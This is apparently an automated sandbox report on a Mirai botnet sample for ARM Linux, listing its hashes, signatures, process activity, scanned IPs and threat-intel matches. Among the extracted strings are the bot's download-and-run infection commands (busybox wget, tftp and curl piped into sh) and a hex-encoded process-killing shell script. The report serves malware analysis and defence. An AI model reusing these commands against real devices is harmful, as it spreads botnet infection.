Edit tour

Linux Analysis Report
a6YpIDPSBI.elf

Overview

General Information

Sample Name:	a6YpIDPSBI.elf
Original Sample Name:	68051b11ca3fddf4c9ab3f71b3960ba5.elf
Analysis ID:	1345443
MD5:	68051b11ca3fddf4c9ab3f71b3960ba5
SHA1:	25c7883a9f3b634468f512ba411bb93272922eae
SHA256:	b1a5015113858c08dd0a0257417a12479506aea8056c29b4cd1d68e56087f00d
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Found strings indicative of a multi-platform dropper

Enumerates processes within the "proc" file system

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1345443
Start date and time:	2023-11-20 21:39:06 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 3m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	a6YpIDPSBI.elf renamed because original name is a hash value
Original Sample Name:	68051b11ca3fddf4c9ab3f71b3960ba5.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/400@4/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: a6YpIDPSBI.elf

Runtime Messages

Command:	/tmp/a6YpIDPSBI.elf
PID:	5422
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

a6YpIDPSBI.elf (PID: 5422, Parent: 5347, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/a6YpIDPSBI.elf

a6YpIDPSBI.elf New Fork (PID: 5424, Parent: 5422)

a6YpIDPSBI.elf New Fork (PID: 5426, Parent: 5424)

a6YpIDPSBI.elf New Fork (PID: 5427, Parent: 5424)

a6YpIDPSBI.elf New Fork (PID: 5430, Parent: 5424)

a6YpIDPSBI.elf New Fork (PID: 5432, Parent: 5424)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: a6YpIDPSBI.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname TBOT/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: global traffic	TCP traffic: 192.168.2.13:59166 -> 5.181.80.102:38241
Source: global traffic	TCP traffic: 192.168.2.13:40792 -> 5.181.80.81:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 2.109.26.43
Source: unknown	TCP traffic detected without corresponding DNS query: 159.115.103.2
Source: unknown	TCP traffic detected without corresponding DNS query: 146.46.67.182
Source: unknown	TCP traffic detected without corresponding DNS query: 88.70.130.127
Source: unknown	TCP traffic detected without corresponding DNS query: 218.120.255.50
Source: unknown	TCP traffic detected without corresponding DNS query: 105.49.83.252
Source: unknown	TCP traffic detected without corresponding DNS query: 100.17.211.99
Source: unknown	TCP traffic detected without corresponding DNS query: 65.43.133.88
Source: unknown	TCP traffic detected without corresponding DNS query: 17.1.165.57
Source: unknown	TCP traffic detected without corresponding DNS query: 116.202.1.151
Source: unknown	TCP traffic detected without corresponding DNS query: 192.100.124.128
Source: unknown	TCP traffic detected without corresponding DNS query: 157.141.125.240
Source: unknown	TCP traffic detected without corresponding DNS query: 126.242.26.65
Source: unknown	TCP traffic detected without corresponding DNS query: 188.86.98.25
Source: unknown	TCP traffic detected without corresponding DNS query: 157.14.115.147
Source: unknown	TCP traffic detected without corresponding DNS query: 71.39.203.207
Source: unknown	TCP traffic detected without corresponding DNS query: 174.87.234.229
Source: unknown	TCP traffic detected without corresponding DNS query: 125.27.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 135.139.199.15
Source: unknown	TCP traffic detected without corresponding DNS query: 109.56.40.18
Source: unknown	TCP traffic detected without corresponding DNS query: 164.130.50.32
Source: unknown	TCP traffic detected without corresponding DNS query: 213.109.211.208
Source: unknown	TCP traffic detected without corresponding DNS query: 65.59.64.14
Source: unknown	TCP traffic detected without corresponding DNS query: 61.174.126.187
Source: unknown	TCP traffic detected without corresponding DNS query: 42.23.79.23
Source: unknown	TCP traffic detected without corresponding DNS query: 153.62.232.128
Source: unknown	TCP traffic detected without corresponding DNS query: 213.185.225.156
Source: unknown	TCP traffic detected without corresponding DNS query: 77.126.217.17
Source: unknown	TCP traffic detected without corresponding DNS query: 165.149.28.192
Source: unknown	TCP traffic detected without corresponding DNS query: 189.173.151.36
Source: unknown	TCP traffic detected without corresponding DNS query: 148.211.72.115
Source: unknown	TCP traffic detected without corresponding DNS query: 24.37.218.120
Source: unknown	TCP traffic detected without corresponding DNS query: 101.227.81.83
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.73.91
Source: unknown	TCP traffic detected without corresponding DNS query: 117.46.19.163
Source: unknown	TCP traffic detected without corresponding DNS query: 172.94.109.232
Source: unknown	TCP traffic detected without corresponding DNS query: 134.63.228.117
Source: unknown	TCP traffic detected without corresponding DNS query: 9.250.72.150
Source: unknown	TCP traffic detected without corresponding DNS query: 4.33.20.59
Source: unknown	TCP traffic detected without corresponding DNS query: 121.248.203.120
Source: unknown	TCP traffic detected without corresponding DNS query: 78.232.36.38
Source: unknown	TCP traffic detected without corresponding DNS query: 80.37.127.254
Source: unknown	TCP traffic detected without corresponding DNS query: 117.219.104.61
Source: unknown	TCP traffic detected without corresponding DNS query: 19.12.228.142
Source: unknown	TCP traffic detected without corresponding DNS query: 151.164.249.251
Source: unknown	TCP traffic detected without corresponding DNS query: 130.16.73.126
Source: unknown	TCP traffic detected without corresponding DNS query: 95.200.247.130
Source: unknown	TCP traffic detected without corresponding DNS query: 79.214.255.96
Source: unknown	TCP traffic detected without corresponding DNS query: 204.233.113.156
Source: unknown	TCP traffic detected without corresponding DNS query: 49.198.24.250

Source: a6YpIDPSBI.elf	String found in binary or memory: http:///curl.sh
Source: a6YpIDPSBI.elf	String found in binary or memory: http:///wget.sh

Source: /tmp/a6YpIDPSBI.elf (PID: 5432)	SIGKILL sent: pid: 5480, result: no such process	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5432)	SIGKILL sent: pid: 5517, result: successful	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5432)	SIGKILL sent: pid: 5521, result: successful	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5432)	SIGKILL sent: pid: 5524, result: successful	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5432)	SIGKILL sent: pid: 5525, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname TBOT
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname TBOT/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepchinese family/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh44k

Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5460/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5451/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5451/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5462/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5430/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5430/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5452/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5452/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5463/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5453/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5453/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5432/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5432/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5454/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5454/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5455/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5455/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5434/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5434/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5456/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5456/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5457/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5457/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5458/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5458/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5459/maps	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5426)	File opened: /proc/5459/cmdline	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3122/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3117/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3114/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3633/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/914/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/917/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/5273/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/5430/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/5432/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3134/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3375/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3132/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3095/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1745/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1866/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1588/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/884/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1982/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/765/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3246/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/800/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/767/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1906/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/5424/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/802/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/803/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/5426/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1748/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3420/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1482/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/490/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1480/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1755/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1875/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/2964/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3413/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1751/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1872/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/2961/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1475/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/778/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/5434/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/936/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/816/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1879/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1891/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3310/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3153/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/780/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/660/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1921/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/783/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1765/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/2974/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1400/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1884/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3424/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/2972/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3147/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/2970/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1881/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3146/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3300/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/3786/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1805/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1925/status	Jump to behavior
Source: /tmp/a6YpIDPSBI.elf (PID: 5427)	File opened: /proc/1804/status	Jump to behavior

Source: a6YpIDPSBI.elf, 5427.1.000055e944083000.000055e9440a5000.rw-.sdmp	Binary or memory string: U/arm/ro10!/proc/727/status!/proc/326/exe1/usr/libexec/switcheroo-control0!/usr/bin/vmtoolsd!/proc/327/exe1/proc/793/statusarm/ro10!/proc/727/exe0!/proc/328/exe1/proc/3110/exe/arm/ro10!/proc/726/fd/00!/proc/332/exe1/proc/793/fd/0/arm/ro10!/proc/726/status!/proc/347/exe1
Source: a6YpIDPSBI.elf, 5422.1.000055e943f55000.000055e944083000.rw-.sdmp, a6YpIDPSBI.elf, 5427.1.000055e943f55000.000055e944083000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: a6YpIDPSBI.elf, 5427.1.000055e944083000.000055e9440a5000.rw-.sdmp	Binary or memory string: U/arm/ro10 /usr/bin/qemu-arm!/proc/1400/exe1
Source: a6YpIDPSBI.elf, 5427.1.000055e944083000.000055e9440a5000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: a6YpIDPSBI.elf, 5422.1.000055e943f55000.000055e944083000.rw-.sdmp, a6YpIDPSBI.elf, 5427.1.000055e943f55000.000055e944083000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: a6YpIDPSBI.elf, 5422.1.00007fff4b54f000.00007fff4b570000.rw-.sdmp, a6YpIDPSBI.elf, 5427.1.00007fff4b54f000.00007fff4b570000.rw-.sdmp, a6YpIDPSBI.elf, 5427.1.000055e944083000.000055e9440a5000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: a6YpIDPSBI.elf, 5422.1.00007fff4b54f000.00007fff4b570000.rw-.sdmp, a6YpIDPSBI.elf, 5427.1.00007fff4b54f000.00007fff4b570000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/a6YpIDPSBI.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/a6YpIDPSBI.elf

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	1 Scripting	Path Interception	Path Interception	1 Scripting	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Application Layer Protocol	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses

Source	Detection	Scanner	Label	Link
http:///wget.sh	0%	Avira URL Cloud	safe
http:///curl.sh	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ksarpo.parody	45.95.147.179	true	false		unknown
roaqxg.parody	5.181.80.55	true	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
4.39.172.224	unknown	United States	46164	ATT-MOBILITY-LABSUS	false
108.221.121.239	unknown	United States	7018	ATT-INTERNET4US	false
211.181.119.113	unknown	Korea Republic of	9641	KDB-AS-KRKoreaDevelopmentBankKR	false
97.68.238.125	unknown	United States	33363	BHN-33363US	false
8.159.149.215	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
73.40.192.111	unknown	United States	7922	COMCAST-7922US	false
28.225.84.109	unknown	United States	7922	COMCAST-7922US	false
22.56.114.176	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.248.168.51	unknown	United States	7018	ATT-INTERNET4US	false
70.213.113.152	unknown	United States	6167	CELLCO-PARTUS	false
14.174.217.194	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
38.238.79.99	unknown	United States	174	COGENT-174US	false
27.65.45.97	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
89.78.57.233	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
9.113.47.41	unknown	United States	3356	LEVEL3US	false
175.119.241.36	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
209.101.91.247	unknown	United States	4565	MEGAPATH2-US	false
4.128.134.195	unknown	United States	3356	LEVEL3US	false
20.18.207.37	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
24.149.221.113	unknown	United States	11025	COMCAST-HOUSTONUS	false
144.79.65.38	unknown	unknown	24940	HETZNER-ASDE	false
122.80.176.65	unknown	China	45069	CNNIC-CTTSDNET-APchinatietongShandongnetCN	false
48.78.155.13	unknown	United States	2686	ATGS-MMD-ASUS	false
207.50.9.201	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
151.105.166.190	unknown	Finland	1759	TSF-IP-CORETeliaFinlandOyjEU	false
81.125.160.106	unknown	Italy	20746	ASN-IDCTNOOMINCIT	false
59.32.6.252	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
114.29.218.216	unknown	Singapore	13445	13445US	false
69.94.87.63	unknown	Maldives	7642	DHIRAAGU-MV-APDHIVEHIRAAJJEYGEGULHUNPLCMV	false
64.65.45.237	unknown	Canada	13768	COGECO-PEER1CA	false
122.105.126.22	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
169.248.198.220	unknown	United States	47024	THE-METROHEALTH-SYSTEMUS	false
201.243.120.242	unknown	Venezuela	8048	CANTVServiciosVenezuelaVE	false
41.195.30.4	unknown	South Africa	16637	MTNNS-ASZA	false
15.79.8.109	unknown	United States	54680	HP-BCRS-ALPHARETTA-GAUS	false
30.73.194.202	unknown	United States	7922	COMCAST-7922US	false
138.241.148.192	unknown	United States	12980	EMEAHostingAutonomousSystemEU	false
120.129.72.142	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
31.165.218.236	unknown	Switzerland	6730	SUNRISECH	false
178.35.80.197	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
4.39.172.224	gSqIRpsggd	Get hash	malicious	Mirai	Browse
108.221.121.239	2YVeAmqoNc	Get hash	malicious	Unknown	Browse
4.128.134.195	boat.mpsl-20220929-0458.elf	Get hash	malicious	Unknown	Browse
144.79.65.38	MufQXh8vQz.elf	Get hash	malicious	Mirai	Browse
38.238.79.99	UyMx5FaGyH	Get hash	malicious	Mirai	Browse
73.40.192.111	SEeAI7lWdZ	Get hash	malicious	Mirai	Browse
89.78.57.233	miori.x86	Get hash	malicious	Mirai	Browse
70.213.113.152	7P7pwGCzMC	Get hash	malicious	Mirai	Browse
175.119.241.36	oesJv1hdmc	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ATT-MOBILITY-LABSUS	x86.elf	Get hash	malicious	Mirai	Browse	4.38.170.75
	pAuxocDkbM.elf	Get hash	malicious	Mirai	Browse	155.165.151.136
